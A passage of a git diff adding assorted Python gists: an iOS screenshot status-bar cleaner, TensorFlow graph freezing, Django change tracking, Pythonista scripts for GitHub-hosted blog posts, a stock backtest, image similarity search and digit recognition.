+                      'b4K/goohe1XjeGkhDjtW+0X7wYH8u6HimY5EXm44O70vPsxJ6Q',
+                      'LpSRGLQp+KAP2YMYoRtuQqPOa5Ebzn1epyITKANr5/gN7HBVus',
+                      'k2t5mQDeM4dQh3lXz4H5clmUFea9xJnhHkOE6hJWbC/SfQ080z',
+                      'LoiVlBY7joOdNlsrPbYUfHBsbRhjxhoMf533YBnfH1noFnpH8C',
+                      'PERek9XORjDjAp/cE+fGTZ+avbsxZvJNFkYSymJJUZx3MUCD26',
+                      'MrkuSitQ4+i8xlfpa8mHj9B23kdH2OJ9LBtxdkY6Iu/gDRckpb',
+                      'swb+RiBebxSvwU97WvInuojZ41+EAkpARNUj8VbAqRK62DvaGw',
+                      'egADiZ/QIIz58kFiP6M/dqWk+mQQst3cj1vERWnBEAtMV0eShA',
+                      'lccQz59EE2tiasjE61hBsNwWutQUNDQ0NDQ+Pf4g+RSY1o'])
+  rimg = PackedImage('L',
+                     (130, 40),
+                     ['eJxjYBgFo2AUDFHwX3XAXfBfm462Ga+9j8UF//XpZv+KV//LsL',
+                      'ngvzld7Pc6ALTqFaY4yAX/bdFF9/0nFhwgznq25Ktg5cVIYoy7',
+                      'OSAusAFKuKCq3/k/hkiPRf7fSYQqvtJX38AOuGCMJLr9/38OsA',
+                      'sY5YFSfig6/vsTHQb+/wnaLzvh80OoapT4/vP//z8OsAsYeIHs',
+                      'cBQXMBHtAqb/TPjtN176B674AYoMx6//oFAAuwA9EKjnAte9n4',
+                      'GK/kEVW6FKsnwCOQHoAsn/6GmRSi5gS7j0/zuS2tfoCpieg8WV',
+                      '/2MUCaS54P9/a6wOMH6CpjYdQwnjDagUeslMqguwpsZL79GU/s',
+                      'Gm6gRYShpdmCouQAbghFCPVQokY4wpSqoLCOQHiAsEsUiwvgKb',
+                      'glE90iQM1mARF4QZo0cPF2BpBqgAhQ9D8oIpZS5wJMIFFzBFHY',
+                      'H6J4FKJGEgw44CFxCyHuICSwzBTKD2NEipzA0sHr1o7AKM0oiB',
+                      'AVgiOjEgXOBDYxdglkYMvJ/ASQPoAvH/6NUzdetGkIG/8Mj9V/',
+                      '2P0UShdvuA4V8dPhf8x9JMo3Yb6SEeOZAptG+qFuF3gRbNHYAX',
+                      'AEukgXUAw3+5AXbAKBgFwxUAAElqKPY='])
+
+  # Calculate various dimensions based on the size of the screenshot.
+  width = screenshot.size[0]
+  lbox = (0, 0, limg.size[0], limg.size[1])
+  rbox = (width - rimg.size[0], 0, width, rimg.size[1])
+  
+  # Decide whether the overlay text and graphics should be black or white.
+  # The pixel at (width-13, 21) is in the button of the battery.
+  p = screenshot.getpixel((width-13, 21))[:3]
+  if sum(p) > 3*250:
+    symbolcolor = 'white'
+  else:
+    symbolcolor = 'black'
+
+  # Create the masks.
+  lmask = limg.unpack()
+  rmask = rimg.unpack()
+
+  # Make the overlays.
+  left = Image.new('RGBA', limg.size, symbolcolor)
+  left.putalpha(lmask)
+  right = Image.new('RGBA', rimg.size, symbolcolor)
+  right.putalpha(rmask)
+
+  # Paste the overlays and return.
+  screenshot.paste(left, lbox, left)
+  screenshot.paste(right, rbox, right)
+  return screenshot
+
+# And here we go.
+if __name__ == '__main__':
+  import photos, console
+  screenshot = photos.pick_image()
+  console.clear()
+  cleanbar(screenshot).show()
diff --git a/hard-gists/7956216/._snippet.py b/hard-gists/7956216/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7956216/._snippet.py differ
diff --git a/hard-gists/7956216/snippet.py b/hard-gists/7956216/snippet.py
new file mode 100644
index 00000000..e7268077
--- /dev/null
+++ b/hard-gists/7956216/snippet.py
@@ -0,0 +1,99 @@
+#!/usr/bin/python
+
+import Image
+import base64, zlib
+
+# Jay Parlar convinced me to turn this data structure
+# from a dictionary into an object. 
+class PackedImage(object):
+  def __init__(self, mode, size, data):
+    self.mode = mode
+    self.size = size
+    self.data = ''.join(data)
+  
+  def unpack(self):
+    return Image.fromstring(self.mode,
+                            self.size,
+                            zlib.decompress(base64.b64decode(self.data)))
+
+def cleanbar(screenshot):
+  '''Clean up the statusbar in an iOS screenshot.
+
+  Cover the signal strength, battery, location, and bluetooth
+  graphics with full strength symbols.'''
+  
+  # This is for retina displays.
+  height = 40
+
+  # Statusbar image data for an iPhone 4, 4s, 5, 5c, or 5s portrait screenshot.
+  # The data string is compressed and base64-encoded.
+  limg = PackedImage('L',
+                     (200, 40),
+                     ['eJztl0toE0EYx6fGtvHVYlEiKGlMe/CiaEXTg4KotD56EqTY3k',
+                      'RapBVEweBJBK0U0UPAJBVRKj4qiI+bQXxWsFaheGjTeig2hFCQ',
+                      'trYlMTGyf/cxs9lkQynZXQw4v8N83zfzLfv/s5kZQgiHw+FwOB',
+                      'zO/8Aqt3uJEjQsk5dKHSWZJt1qkXEfOCyGdmhpFGfcL34j7q+S',
+                      'm/SrOUzdlINnWksDmWLpaattrP4Vx1Mx7n8kMYGwHLcQsnwcA7',
+                      'd/oN9G8q3mIjyQw3qvxB30ybGGCENehXqrfXTiYjTtYNU9XGZp',
+                      'C54QUvYdOzO9mtVcqA+FQ2jJN52DMzCRigSqDVaMIcF9Fd48Ss',
+                      '/hjDj60GyRj8Y5+Tc6f8BQxajDe7IVY3mU7kFIHD9ikzU+XLN0',
+                      's827DFQqfpwgZBi79UrLx3GEXEKfptlMH0H11AgaqBj2n4kKQs',
+                      '7jbh6le4WZEN6ttMhHRNUTMVAxWvFQHF1ColKvdO0ocL1M++4C',
+                      'fNDz6rjugaSqJ1VSeMV4i4NS6MdJndKjM8IInou9S20GfKSU6+',
+                      'OD7gFTv0ctJmWR7fiSq7RNiNXbB9BF1uClAR+L2B89BipKF4S0',
+                      'xB9gW7bSjYl4DSHroji2Dzes8OGao3KUU6jASsEWw+dBmSgVqy',
+                      'o9qxwH2xOJkHhsWeDDzPujCYM0a8C0PUvpLZySYzMwqe51k+/z',
+                      'YCQVCVYbrCSeoYNm4pdpzVLaDb+SvMa3Smt8mIYjnapi+TW8kY',
+                      'KqdAeSHil2I4lXpbSpSH148VjN6yDUEq3SHqR7O31hhJ1f0Uvn',
+                      'FvLxqU3BSbJ8sOldVhigjKIpUwzjSrbSjjEBmPVVkA0xXFCmFv',
+                      'LBTkPpv4zGB5sOWKB/sazwbC7/h6/ncDgcDodThPwFVX6ICw=='])
+  rimg = PackedImage('L',
+                     (130, 40),
+                     ['eJxjYBgFo2AUDFHwX3XAXfBfm462Ga+9j8UF//XpZv+KV//LsL',
+                      'ngvzld7Pc6ALTqFaY4yAX/bdFF9/0nFhwgznq25Ktg5cVIYoy7',
+                      'OSAusAFKuKCq3/k/hkiPRf7fSYQqvtJX38AOuGCMJLr9/38OsA',
+                      'sY5YFSfig6/vsTHQb+/wnaLzvh80OoapT4/vP//z8OsAsYeIHs',
+                      'cBQXMBHtAqb/TPjtN176B674AYoMx6//oFAAuwA9EKjnAte9n4',
+                      'GK/kEVW6FKsnwCOQHoAsn/6GmRSi5gS7j0/zuS2tfoCpieg8WV',
+                      '/2MUCaS54P9/a6wOMH6CpjYdQwnjDagUeslMqguwpsZL79GU/s',
+                      'Gm6gRYShpdmCouQAbghFCPVQokY4wpSqoLCOQHiAsEsUiwvgKb',
+                      'glE90iQM1mARF4QZo0cPF2BpBqgAhQ9D8oIpZS5wJMIFFzBFHY',
+                      'H6J4FKJGEgw44CFxCyHuICSwzBTKD2NEipzA0sHr1o7AKM0oiB',
+                      'AVgiOjEgXOBDYxdglkYMvJ/ASQPoAvH/6NUzdetGkIG/8Mj9V/',
+                      '2P0UShdvuA4V8dPhf8x9JMo3Yb6SEeOZAptG+qFuF3gRbNHYAX',
+                      'AEukgXUAw3+5AXbAKBgFwxUAAElqKPY='])
+
+  # Calculate various dimensions based on the size of the screenshot.
+  width = screenshot.size[0]
+  lbox = (0, 0, limg.size[0], limg.size[1])
+  rbox = (width - rimg.size[0], 0, width, rimg.size[1])
+  
+  # Decide whether the overlay text and graphics should be black or white.
+  # The pixel at (width-13, 21) is in the button of the battery.
+  p = screenshot.getpixel((width-13, 21))[:3]
+  if sum(p) > 3*250:
+    symbolcolor = 'white'
+  else:
+    symbolcolor = 'black'
+
+  # Create the masks.
+  lmask = limg.unpack()
+  rmask = rimg.unpack()
+
+  # Make the overlays.
+  left = Image.new('RGBA', limg.size, symbolcolor)
+  left.putalpha(lmask)
+  right = Image.new('RGBA', rimg.size, symbolcolor)
+  right.putalpha(rmask)
+
+  # Paste the overlays and return.
+  screenshot.paste(left, lbox, left)
+  screenshot.paste(right, rbox, right)
+  return screenshot
+
+# And here we go.
+if __name__ == '__main__':
+  import photos, console
+  screenshot = photos.pick_image()
+  console.clear()
+  cleanbar(screenshot).show()
diff --git a/hard-gists/795cc1fd6d0c9069b20204cbd133e36b/._snippet.py b/hard-gists/795cc1fd6d0c9069b20204cbd133e36b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/795cc1fd6d0c9069b20204cbd133e36b/._snippet.py differ
diff --git a/hard-gists/795cc1fd6d0c9069b20204cbd133e36b/snippet.py b/hard-gists/795cc1fd6d0c9069b20204cbd133e36b/snippet.py
new file mode 100644
index 00000000..8dfa7320
--- /dev/null
+++ b/hard-gists/795cc1fd6d0c9069b20204cbd133e36b/snippet.py
@@ -0,0 +1,151 @@
+""" 
+Play with saving .
+
+Closest:
+    https://github.com/tensorflow/tensorflow/issues/616#issuecomment-205620223
+"""
+import numpy as np
+
+import tensorflow as tf
+from tensorflow.python.platform import gfile
+# from tensorflow.python.training.training_util import write_graph
+# from tensorflow.python.tools.freeze_graph import freeze_graph
+from tensorflow.python.framework.graph_util import convert_variables_to_constants
+
+
+def create_graph():
+    g = tf.Graph()
+    with g.as_default():
+        # compute graph
+        input_ = tf.placeholder(tf.float32, [10], name="input")
+        parameter = tf.Variable(initial_value=[2.0]*10, name="parameter", trainable=True)
+        output_ = tf.add(input_, parameter, name="output")
+
+        # initializers
+        local_init_op = tf.local_variables_initializer()
+        global_init_op = tf.global_variables_initializer()
+
+        # gets all variables in the graph
+        saver = tf.train.Saver()
+
+        # save to collection so can access later
+        tf.add_to_collection(input_.name, input_)
+        tf.add_to_collection(output_.name, output_)
+
+    return g, saver, (input_, output_, local_init_op, global_init_op)
+
+
+def run_graph(g, *ops):
+    input_, output_, local_init_op, global_init_op = ops
+
+    sess = tf.Session(graph=g)
+    sess.run([local_init_op, global_init_op])
+    output = sess.run(output_, feed_dict={input_: np.arange(10, dtype=np.float32)})
+    print "output", output
+
+    return sess
+
+
+def save_graph(sess, saver):
+    saver.save(sess, "./tmp/model", write_meta_graph=True, global_step=1)
+
+    with open("./tmp/" + "graph.pb", 'wb') as f:
+        f.write(sess.graph_def.SerializeToString())
+    sess.close()
+
+
+def load_graph(load_type="restore"):
+    checkpoint_path = tf.train.latest_checkpoint("./tmp/")
+
+    if load_type == "build_graph":
+        g, saver, ops = create_graph()
+        input_, output_, local_init_op, global_init_op = ops
+
+        with tf.Session(graph=g) as sess:
+            saver.restore(sess, checkpoint_path)
+
+            output = sess.run(output_, feed_dict={input_: np.arange(10, dtype=np.float32)})
+            print "output", output
+
+            freeze_graph(sess)
+
+    elif load_type == "import_meta_graph":
+        saver = tf.train.import_meta_graph(checkpoint_path + ".meta", import_scope=None)
+        with tf.Session() as sess:
+            saver.restore(sess, checkpoint_path)
+            input_ = tf.get_collection("input:0", scope="")[0]
+            output_ = tf.get_collection("output:0", scope="")[0]
+
+            output = sess.run(output_, feed_dict={input_: np.arange(10, dtype=np.float32)})
+            print "output", output
+
+            # -- this works too
+            output = sess.run("output:0", feed_dict={"input:0": np.arange(10, dtype=np.float32)})
+            print "output", output
+
+            freeze_graph(sess)
+
+    else:
+        raise ValueError("Wrong load_type.")
+
+
+def freeze_graph(sess):
+    # convert_variables_to_constants(sess, input_graph_def, output_node_names, variable_names_whitelist=None)
+    with gfile.FastGFile("./tmp/" + "graph.pb", 'rb') as f:
+        graph_def = tf.GraphDef()
+        graph_def.ParseFromString(f.read())
+
+    frozen_graph_def = convert_variables_to_constants(sess, graph_def, ["output"])
+
+    with tf.gfile.GFile("./tmp/" + "frozen.pb", "wb") as f:
+        f.write(frozen_graph_def.SerializeToString())
+
+    return frozen_graph_def
+
+
+def load_frozen_graph():
+    filename = "./tmp/" + "frozen.pb"
+
+    with tf.gfile.GFile(filename, "rb") as f:
+        graph_def = tf.GraphDef()
+        graph_def.ParseFromString(f.read())
+
+    with tf.Graph().as_default() as graph:
+        new_input = tf.placeholder(tf.float32, [10], name="new_input")
+
+        tf.import_graph_def(
+            graph_def,
+            # usually, during training you use queues, but at inference time use placeholders
+            # this turns into "input
+            input_map={"input:0": new_input},
+            return_elements=None,
+            # if input_map is not None, needs a name
+            name="bla",
+            op_dict=None,
+            producer_op_list=None
+        )
+
+    checkpoint_path = tf.train.latest_checkpoint("./tmp/")
+
+    with tf.Session(graph=graph) as sess:
+        saver = tf.train.import_meta_graph(checkpoint_path + ".meta", import_scope=None)
+        saver.restore(sess, checkpoint_path)
+
+        output = sess.run("output:0", feed_dict={"input:0": np.arange(10, dtype=np.float32)})
+        print "output", output
+
+
+if __name__ == '__main__':
+    import sys
+
+    if len(sys.argv) == 2:
+        _, load_type = sys.argv
+    else:
+        load_type = "build_graph"
+
+    # -- multiple graphs?
+    g, saver, ops = create_graph()
+    sess = run_graph(g, *ops)
+    save_graph(sess, saver)
+    load_graph(load_type=load_type)
+    load_frozen_graph()
diff --git a/hard-gists/7964172/._snippet.py b/hard-gists/7964172/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7964172/._snippet.py differ
diff --git a/hard-gists/7964172/snippet.py b/hard-gists/7964172/snippet.py
new file mode 100644
index 00000000..6838180f
--- /dev/null
+++ b/hard-gists/7964172/snippet.py
@@ -0,0 +1,59 @@
+from django.db import models
+from django.db.models.signals import post_init
+
+# Generic models...
+
+class Note(models.Model):
+    note = models.TextField()
+
+
+class TimeLog(models.Model):
+    time_spent = models.DecimalField(max_digits=4, decimal_places=2)
+    notes = models.ManyToManyField(Note, blank=True)
+    
+    @property
+    def init_track_fields(self):
+        return ('time_spent',)
+    
+    def add_track_save_note(self):
+        field_track = {}
+        for field in self.init_track_fields:
+            value = getattr(self, field)
+            orig_value = getattr(self, '_original_%s' % field)
+            if value != orig_value:
+                field_track[field] = [orig_value, value]
+
+        if field_track:
+            note_str = 'The following fields were updated:<br /><br />'
+            for k, v in field_track.iteritems():
+                note_str += ('<b>{field}:</b> <i>{orig_value}</i> '
+                             '<b>&rarr;</b> {value}<br />').format(
+                    field=k,
+                    orig_value=v[0],
+                    value=v[1],
+                )
+
+            note = Note.objects.create(note=note_str)
+            self.notes.add(note)
+    
+    def save(self, *args, **kwargs):
+        add_track = bool(self.pk)
+        super(TimeLog, self).save(*args, **kwargs)
+
+        if add_track:
+            self.add_track_save_note()
+
+
+# Signal connector function
+def timelog_post_init(sender, instance, **kwargs):
+    if instance.pk:
+        for field in instance.init_track_fields:
+            setattr(instance, '_original_%s' % field, getattr(instance, field))
+
+
+# Attach signal to the function
+post_init.connect(
+    timelog_post_init,
+    sender=TimeLog,
+    dispatch_uid='grinch.signals.timelog_post_init',
+)
\ No newline at end of file
diff --git a/hard-gists/7977492/._snippet.py b/hard-gists/7977492/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7977492/._snippet.py differ
diff --git a/hard-gists/7977492/snippet.py b/hard-gists/7977492/snippet.py
new file mode 100644
index 00000000..3b7d776e
--- /dev/null
+++ b/hard-gists/7977492/snippet.py
@@ -0,0 +1,83 @@
+#coding: utf-8
+import keychain
+import console
+import editor
+
+import time
+import re
+
+import requests
+import json
+import base64
+
+SITE_BRANCH = 'gh-pages' # either main or gh-pages
+
+#keychain.delete_password('GitHub', 'username')
+#keychain.delete_password('GitHub', 'token')
+#keychain.delete_password('GitHub', 'repository')
+
+# Get Username, API Token and Repository
+username = keychain.get_password('GitHub', 'username')
+if not username:
+	username = console.input_alert("Username", "Enter your GitHub Username", '', "Save")
+	keychain.set_password('GitHub', 'username', username)
+	
+tokn = keychain.get_password('GitHub', 'token')
+if not tokn:
+	tokn = console.password_alert("API Token", "Enter your GitHub API Token", '', "Save")
+	keychain.set_password('GitHub', 'token', tokn)
+
+repo = keychain.get_password('GitHub', 'repository')
+if not repo:
+	repo = console.input_alert("Repository", "Enter your GitHub Repository name", '', "Save")
+	keychain.set_password('GitHub', 'repository', repo)
+
+# Mangle the post ;)
+post_text = editor.get_text()
+
+post_sections = post_text.split('---')
+if len(post_sections) > 1:
+	yaml_header = post_sections[1].splitlines()
+	
+  # Find the title in the YAML
+	post_title = None
+	date = None
+	for line in yaml_header:
+		if line[:6] == 'title:':
+			post_title = line[6:].strip()
+		elif line[:5] == 'date:':
+			date = line[5:].strip()[:10]
+	
+	if post_title and date:
+		safe_title = re.sub('[^a-zA-Z0-9\s]', '', post_title).replace(' ', '-')
+		safe_title.replace('--', '-')
+    
+		post_filename = '_posts/%s-%s.markdown' % (date, safe_title)
+		
+		URL = 'https://api.github.com/repos/%s/%s/contents/%s' % (username, repo, post_filename)
+		
+		header = {
+			'Authorization': 'token %s' % tokn,
+			'User-Agent': username
+		}
+		
+		get_data = {
+			'path': post_filename,
+			'ref': SITE_BRANCH
+		}
+
+		response = requests.get(URL, headers=header, params=get_data)
+		response_json = response.json()
+
+		if response.status_code == 200:
+			new_text = base64.b64decode(response_json['content'])
+			editor.replace_text(0, len(post_text), new_text)
+			console.hud_alert("Post downloaded from GitHub.", 'success', 2.0)
+		else:                        # Something went wrong!
+			console.alert("This post does not exist.")
+
+	else:
+		console.alert("Couldn't find a title or date.\n\nAction Halted.")
+		
+else:
+	console.alert("No YAML header found.\n\nAction Halted.")
\ No newline at end of file
diff --git a/hard-gists/7977513/._snippet.py b/hard-gists/7977513/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7977513/._snippet.py differ
diff --git a/hard-gists/7977513/snippet.py b/hard-gists/7977513/snippet.py
new file mode 100644
index 00000000..2cfcdf4a
--- /dev/null
+++ b/hard-gists/7977513/snippet.py
@@ -0,0 +1,113 @@
+#coding: utf-8
+import keychain
+import console
+import editor
+
+import time
+import re
+
+import requests
+import json
+import base64
+
+SITE_BRANCH = 'main' # either main or gh-pages
+COMMITTER = {'name': 'Joe Bloggs', 'email': 'email@example.com'}
+
+#keychain.delete_password('GitHub', 'username')    # Uncomment these lines
+#keychain.delete_password('GitHub', 'token')       # to change the details
+#keychain.delete_password('GitHub', 'repository')  # stored in the keychain
+
+# Get Username, API Token and Repository
+username = keychain.get_password('GitHub', 'username')
+if not username:
+	username = console.input_alert("Username", "Enter your GitHub Username", '', "Save")
+	keychain.set_password('GitHub', 'username', username)
+	
+tokn = keychain.get_password('GitHub', 'token')
+if not tokn:
+	tokn = console.password_alert("API Token", "Enter your GitHub API Token", '', "Save")
+	keychain.set_password('GitHub', 'token', tokn)
+
+repo = keychain.get_password('GitHub', 'repository')
+if not repo:
+	repo = console.input_alert("Repository", "Enter your GitHub Repository name", '', "Save")
+	keychain.set_password('GitHub', 'repository', repo)
+
+# Mangle the post ;)
+post_text = editor.get_text()
+
+post_sections = post_text.split('---')
+if len(post_sections) > 1:
+	yaml_header = post_sections[1].splitlines()
+	
+  # Find the title in the YAML
+	post_title = None
+	date = None
+	for line in yaml_header:
+		if line[:6] == 'title:':
+			post_title = line[6:].strip()
+		elif line[:5] == 'date:':
+			date = line[5:].strip()[:10]
+		  
+	if post_title:
+		safe_title = re.sub('[^a-zA-Z0-9\s]', '', post_title).replace(' ', '-')
+		safe_title.replace('--', '-')
+		if not date:
+			date = time.strftime('%Y-%m-%d', time.gmtime())
+    
+		post_filename = '_posts/%s-%s.markdown' % (date, safe_title)
+		
+		URL = 'https://api.github.com/repos/%s/%s/contents/%s' % (username, repo, post_filename)
+		
+		header = {
+			'Authorization': 'token %s' % tokn,
+			'User-Agent': username
+		}
+		
+		get_data = {
+			'path': post_filename,
+			'ref': SITE_BRANCH
+		}
+
+		response = requests.get(URL, headers=header, params=get_data)
+		response_json = response.json()
+
+		if response.status_code == 404:     # File doesn't exist, create it.
+			data = {
+				'path': post_filename,
+				'content': base64.b64encode(post_text),
+				'message': 'Blog Post - %s' % post_title,
+				'branch': SITE_BRANCH,
+				'committer': COMMITTER
+			}
+
+			response = requests.put(URL, headers=header, data=json.dumps(data))
+			
+			if response.status_code == 201:
+				console.hud_alert("Blog post created successfully.", 'success', 2)
+			else:
+				console.alert("Commit failed.")
+		elif response.status_code == 200:   # File exists, update it.
+			data = {
+				'path': post_filename,
+				'content': base64.b64encode(post_text),
+				'message': 'Blog Post - %s' % post_title,
+				'branch': SITE_BRANCH,
+				'committer': COMMITTER,
+				'sha': response_json['sha']
+			}
+
+			response = requests.put(URL, headers=header, data=json.dumps(data))
+			
+			if response.status_code == 200:
+				console.hud_alert("Blog post updated successfully.", 'success', 2)
+			else:
+				console.alert("Commit failed.")
+		else:                        # Something went wrong!
+			console.alert("There was a problem with the server.")
+
+	else:
+		console.alert("Couldn't find a title.\n\nAction Halted.")
+		
+else:
+	console.alert("No YAML header found.\n\nAction Halted.")
\ No newline at end of file
diff --git a/hard-gists/79b418a25b374804701069f31b39606c/._snippet.py b/hard-gists/79b418a25b374804701069f31b39606c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/79b418a25b374804701069f31b39606c/._snippet.py differ
diff --git a/hard-gists/79b418a25b374804701069f31b39606c/snippet.py b/hard-gists/79b418a25b374804701069f31b39606c/snippet.py
new file mode 100644
index 00000000..b74ac889
--- /dev/null
+++ b/hard-gists/79b418a25b374804701069f31b39606c/snippet.py
@@ -0,0 +1,47 @@
+import numpy as np
+import pandas as pd
+from pandas_datareader import data as web
+from sklearn import linear_model
+
+class ScikitBacktest(object):
+    def __init__(self,sys):
+        self.lags = 5
+        self.symbol = sys
+        self.get_data()
+        self.lm = linear_model.LogisticRegression(C=1e3)
+    def get_data(self):
+        d = web.DataReader(self.sys,data_source='yahoo')['Adj Close']
+        d = pd.DataFrame(d)
+        d.columns = [self.symbol]
+        d['returns']=np.log(d/d.shift(1))
+        self.data = d
+    def select_data(self,start,end):
+        d = self.data[(self.data.index >= start) & (self.data.index <= end)].copy()
+        return d
+    def get_matrix(self,start,end):
+        d = self.select_data(start,end)
+        m = np.zeros((self.lags+1,len(d)-self.lags))
+        for i in range(self.lags+1):
+            if i == self.lags:
+                m[i]=d[i:]
+            else:
+                m[i]=d[i:i-self.lags]
+        self.matrix = m
+    def fit_model(self,start,end):
+        self.get_matrix(start,end)
+        self.lm.fit(self.matrix[:self.lags],np.sign(self.matrix[self.lags]))
+    def predict_moves(self,start,end):
+        self.get_matrix(start,end)
+        pred = self.lm.predict(self.matrix[:self.lags])
+        return pred
+    def run_strategy(self,start_tr,end_tr,start_te,end_te,lags):
+        self.lags =lags
+        self.fit_model(start_tr,end_tr)
+        pred = self.predict_moves(start_te,end_te)
+        d = self.select_data(start_te,end_te)
+        d['pred']= 0.0
+        d['pred'].ix[self.lags:]=pred
+        d['strategy'] = d.pred * d.returns
+        title = '%s to %s for %d lags' % (start_te,end_te,self.lags)
+        d[['returns','strategy']].ix[self.lags:].cumsum().apply(np.exp).plot(title=title)
+
diff --git a/hard-gists/79d38da49cb4f4a511d74d780e53743a/._snippet.py b/hard-gists/79d38da49cb4f4a511d74d780e53743a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/79d38da49cb4f4a511d74d780e53743a/._snippet.py differ
diff --git a/hard-gists/79d38da49cb4f4a511d74d780e53743a/snippet.py b/hard-gists/79d38da49cb4f4a511d74d780e53743a/snippet.py
new file mode 100644
index 00000000..d9ec6d0b
--- /dev/null
+++ b/hard-gists/79d38da49cb4f4a511d74d780e53743a/snippet.py
@@ -0,0 +1,103 @@
+"""
+  Simple, hacked-up image similarity search using Tensorflow + the inception
+  CNN as feature extractor and ANNoy for nearest neighbor search.
+
+  Requires Tensorflow and ANNoy.
+
+  Based on gist code under
+    https://gist.github.com/david90/e98e1c41a0ebc580e5a9ce25ff6a972d
+"""
+from annoy import AnnoyIndex
+import os
+import sys
+import tensorflow as tf
+import tensorflow.python.platform
+from tensorflow.python.platform import gfile
+import numpy as np
+
+def create_graph(model_path):
+    """
+    create_graph loads the inception model to memory, should be called before
+    calling extract_features.
+
+    model_path: path to inception model in protobuf form.
+    """
+    with gfile.FastGFile(model_path, 'rb') as f:
+        graph_def = tf.GraphDef()
+        graph_def.ParseFromString(f.read())
+        _ = tf.import_graph_def(graph_def, name='')
+
+
+def extract_features(image_paths, verbose=False):
+    """
+    extract_features computed the inception bottleneck feature for a list of images
+
+    image_paths: array of image path
+    return: 2-d array in the shape of (len(image_paths), 2048)
+    """
+    feature_dimension = 2048
+    features = np.empty((len(image_paths), feature_dimension))
+
+    with tf.Session() as sess:
+        flattened_tensor = sess.graph.get_tensor_by_name('pool_3:0')
+
+        for i, image_path in enumerate(image_paths):
+            if verbose:
+                print('Processing %s...' % (image_path))
+
+            if not gfile.Exists(image_path):
+                tf.logging.fatal('File does not exist %s', image)
+
+            image_data = gfile.FastGFile(image_path, 'rb').read()
+            feature = sess.run(flattened_tensor, {
+                'DecodeJpeg/contents:0': image_data
+            })
+            features[i, :] = np.squeeze(feature)
+
+    return features 
+
+if sys.argv[1] == "index":
+    print("[!] Creating a new image similarity search index.")
+    print("[!] Loading the inception CNN")
+    create_graph("./tensorflow_inception_graph.pb")
+    print("[!] Done.")
+    input_path = sys.argv[2]
+    files = os.listdir(input_path)
+    images = [ input_path + i for i in files ]
+    results = extract_features(images, True)
+
+    print("[!] Done extracting features, building search index")
+    ann_index = AnnoyIndex(len(results[0]))
+    for i in xrange(len(images)):
+        ann_index.add_item(i, results[i])
+
+    print("[!] Constructing trees")
+    ann_index.build(80)
+    print("[!] Saving the index to '%s'" % sys.argv[3])
+    ann_index.save(sys.argv[3])
+    print("[!] Saving the filelist to '%s'" % (sys.argv[3] + ".filelist"))
+    filelist = file(sys.argv[3] + ".filelist", "wt")
+    filelist.write("\n".join(images))
+    filelist.close()
+elif sys.argv[1] == "search":
+    print("[!] Searching for similar images.")
+    print("[!] Loading the inception CNN")
+    create_graph("./tensorflow_inception_graph.pb")
+    print("[!] Done.")
+    input_path = sys.argv[2]
+    files = os.listdir(input_path)
+    images = [ input_path + i for i in files ]
+    results = extract_features(images, True)
+
+    ann_index = AnnoyIndex(len(results[0]))
+    ann_index.load(sys.argv[3])
+
+    filelist = file(sys.argv[3] + ".filelist", "rt").readlines()
+    for i in xrange(len(results)):
+        print("[!] Searching for similar images to '%s'" % images[i])
+        search_results = ann_index.get_nns_by_vector(results[i], 10,
+            include_distances=True)
+        for i in xrange(len(search_results[0])):
+            print("%f -> %d (%s)" % (search_results[1][i], search_results[0][i],
+                filelist[search_results[0][i]][:-1]))
+
diff --git a/hard-gists/79f9bfb5a7e767b4b756ff1c7dc04eaa/._snippet.py b/hard-gists/79f9bfb5a7e767b4b756ff1c7dc04eaa/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/79f9bfb5a7e767b4b756ff1c7dc04eaa/._snippet.py differ
diff --git a/hard-gists/79f9bfb5a7e767b4b756ff1c7dc04eaa/snippet.py b/hard-gists/79f9bfb5a7e767b4b756ff1c7dc04eaa/snippet.py
new file mode 100644
index 00000000..706c234b
--- /dev/null
+++ b/hard-gists/79f9bfb5a7e767b4b756ff1c7dc04eaa/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python
+# coding: utf-8
+
+import os
+import sys
+
+from PIL import Image, ImageChops
+
+templates = []
+
+def generate_templates(path):
+    img = Image.open(path)
+    r, g, b, a = img.split()
+    bw = g.point(lambda x: 0 if x<10 else 255, '1')
+    for i in range(4):
+        bw.crop((5+i*7, 5, 5+i*7+6, 5+10)).save('{}_{}.png'.format(path, i))
+
+
+def read_templates():
+    for i in range(10):
+        templates.append(Image.open('{}.png'.format(i)))
+
+
+def recognise(path):
+    img = Image.open(path)
+    r, g, b, a = img.split()
+    bw = g.point(lambda x: 0 if x<10 else 255, '1')
+    result = ''
+    for i in range(4):
+        num = bw.crop((5+i*7, 5, 5+i*7+6, 15))
+        diff = [sum(ImageChops.difference(num, templates[j]).getdata()) / 255 for j in range(10)]
+        result += str(diff.index(min(diff)))
+    return result
+
+
+read_templates()
+for subdir, dirs, files in os.walk('.'):
+    for f in files:
+        if not f.endswith('.jpg'):
+            continue
+        f = os.path.join(subdir, f)
+        num = os.path.basename(f)
+        result = recognise(f)
+        print 'file: {}, result: {}'.format(num, result)
diff --git a/hard-gists/7a3fc9739b7778f6673a458605e18963/._snippet.py b/hard-gists/7a3fc9739b7778f6673a458605e18963/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7a3fc9739b7778f6673a458605e18963/._snippet.py differ
diff --git a/hard-gists/7a3fc9739b7778f6673a458605e18963/snippet.py b/hard-gists/7a3fc9739b7778f6673a458605e18963/snippet.py
new file mode 100644
index 00000000..4093e922
--- /dev/null
+++ b/hard-gists/7a3fc9739b7778f6673a458605e18963/snippet.py
@@ -0,0 +1,38 @@
+from itertools import count
+from collections import defaultdict
+import numpy as np
+from scipy.sparse import csr
+    
+def vectorize(lil, ix=None, p=None):
+    """ 
+    Creates a scipy csr matrix from a list of lists (each inner list is a set of values corresponding to a feature) 
+    
+    parameters:
+    -----------
+    lil -- list of lists (dimension of inner lists should be the same)
+    ix -- index generator (default None)
+    p -- dimension of featrure space (number of columns in the sparse matrix) (default None)
+    """
